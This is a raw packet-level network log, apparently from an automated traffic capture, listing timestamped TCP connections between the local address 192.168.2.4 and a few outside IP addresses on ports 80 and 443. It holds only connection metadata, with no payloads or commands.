Dec 12, 2024 14:26:11.459610939 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.459636927 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.459666967 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.460598946 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.460660934 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.461050034 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.461097002 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.461574078 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.461654902 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.461848021 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.461893082 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.462641001 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.462697029 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.462697983 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.462749958 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.463706017 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.463735104 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.463777065 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.463777065 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.464716911 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.464765072 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.464807987 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.464850903 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.465801954 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.465869904 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.466242075 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.466337919 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.466749907 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.466798067 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.466945887 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.467284918 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.467771053 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.467861891 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.467936993 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.467992067 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.468796015 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.468841076 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.468975067 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.469146013 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.469897985 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.469933033 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.469949007 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.469969034 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.470916986 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.470979929 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.471906900 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.471951962 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.471987009 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.472002029 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.472037077 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.472049952 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.472924948 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.472953081 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.472975969 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.473021984 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.474009037 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.474069118 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.474122047 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.474167109 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.474977970 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.475047112 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.475534916 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.475581884 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.476067066 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.476118088 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.476161957 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.476214886 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.477047920 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.477086067 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.478214979 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.478233099 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.478259087 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.478312016 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.478322029 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.478368044 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.479136944 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.479177952 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.479499102 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.479547024 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.480263948 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.480307102 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.481292963 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.481312990 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.481345892 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.481353998 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.481399059 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.481400013 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.482199907 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.482219934 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.482265949 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.482265949 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.483237028 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.483282089 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.483495951 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.483608007 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.484292030 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.484419107 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.484605074 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.484656096 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.485502005 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.485518932 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.485558987 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.485881090 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.486574888 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.486630917 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.624454975 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.624547005 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.624591112 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.624591112 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.625022888 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.625165939 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.625317097 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.625369072 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.626027107 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.626205921 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.626444101 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.626569986 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.627036095 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.627356052 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.628038883 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.628073931 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.628094912 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.628103971 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.628149033 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.628149033 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.629074097 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.629127979 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.630716085 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.630767107 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:14.176505089 CET	49753	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:14.176927090 CET	49773	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:14.296669960 CET	80	49753	185.215.113.43	192.168.2.4
Dec 12, 2024 14:26:14.296684980 CET	80	49773	185.215.113.43	192.168.2.4
Dec 12, 2024 14:26:14.296822071 CET	49753	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:14.296880007 CET	49773	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:14.297199965 CET	49773	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:14.418045044 CET	80	49773	185.215.113.43	192.168.2.4
Dec 12, 2024 14:26:15.654755116 CET	80	49773	185.215.113.43	192.168.2.4
Dec 12, 2024 14:26:15.654822111 CET	49773	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:15.816586018 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:15.816926956 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:15.937525034 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:15.937597036 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:15.937604904 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:15.937660933 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:15.938215017 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:16.057985067 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.264676094 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.264728069 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.264756918 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.264786005 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.264834881 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.264864922 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.264899015 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.264940977 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.264942884 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.264954090 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.264991045 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.265003920 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.265247107 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.265259027 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.265271902 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.265286922 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.265322924 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.384546041 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.384589911 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.384614944 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.384666920 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.456063986 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.456125975 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.456147909 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.456185102 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.460319042 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.460376978 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.461893082 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.461930037 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.461949110 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.461987019 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.470199108 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.470285892 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.470417976 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.470469952 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.478588104 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.478669882 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.478739977 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.478785038 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.486990929 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.487051010 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.487092972 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.487134933 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.495373011 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.495462894 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.495523930 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.495562077 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.503773928 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.504101992 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.504203081 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.512157917 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.512408018 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.512510061 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.520679951 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.520823956 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.520900965 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.528939009 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.529591084 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.529673100 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.537339926 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.538436890 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.648294926 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.648471117 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.648560047 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.650765896 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.650842905 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.652195930 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.655425072 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.655499935 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.655646086 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.655700922 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.660187006 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.660293102 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.660417080 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.664943933 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.666363001 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.666486025 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.667037010 CET	49781	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:26:17.667074919 CET	443	49781	104.21.79.7	192.168.2.4
Dec 12, 2024 14:26:17.668024063 CET	49781	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:26:17.669990063 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.670027018 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.670104980 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.674530983 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.674707890 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.674794912 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.679388046 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.679442883 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.679543018 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.684156895 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.684405088 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.684495926 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.688791037 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.689171076 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.689259052 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.693614006 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.693650961 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.693703890 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.693753004 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.695561886 CET	49781	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:26:17.695586920 CET	443	49781	104.21.79.7	192.168.2.4
Dec 12, 2024 14:26:17.698379040 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.698434114 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.698510885 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.703092098 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.703387976 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.703473091 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.707936049 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.708014011 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.708035946 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.708082914 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.712701082 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.713078022 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.713143110 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.717482090 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.717607021 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.717804909 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.722238064 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.722847939 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.722958088 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.727355957 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.727448940 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.727627993 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.731887102 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.731909990 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.732003927 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.736588955 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.736685991 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.736720085 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.736793995 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.741420031 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.741434097 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.741529942 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.841329098 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.841480970 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.841551065 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.843332052 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.843395948 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.843506098 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.844075918 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.846493959 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.846540928 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.846580982 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.846622944 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.850425005 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.850493908 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.850554943 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.854249001 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.854525089 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.854604959 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.857988119 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.858258963 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.858355999 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.858395100 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.862682104 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.862751007 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.863075018 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.863162041 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.866463900 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.866508007 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.866570950 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.870115995 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.870202065 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.870270967 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.873064995 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.873121023 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.873732090 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.873774052 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.876372099 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.876470089 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.876566887 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.876636028 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.879345894 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.879427910 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.879576921 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.879632950 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.882818937 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.882833004 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.882910013 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.886399031 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.886512041 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.886538982 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.886588097 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.889527082 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.889545918 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.889626026 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.892570972 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.892656088 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.892745018 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.895939112 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.896009922 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:17.896205902 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:17.896270037 CET	49775	80	192.168.2.4	31.41.244.11
